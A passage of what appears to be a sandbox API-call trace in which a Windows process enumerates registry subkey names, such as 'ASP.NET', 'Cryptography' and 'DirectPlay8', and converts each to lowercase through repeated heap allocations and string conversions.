Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xb3c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ALG") returned 0x0 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.496] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xb3b9b8, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xb3b9b8, cchName=0x104 | out: lpName="COM3") returned 0x0 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.497] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.497] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xb3c160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xb3c1a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xb3b9b8, cchName=0x104 | out: lpName="CTF") returned 0x0 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0241.498] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.498] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0241.499] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.499] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DFS") returned 0x0 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xb3c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.500] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.500] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xb3c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xb3c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, 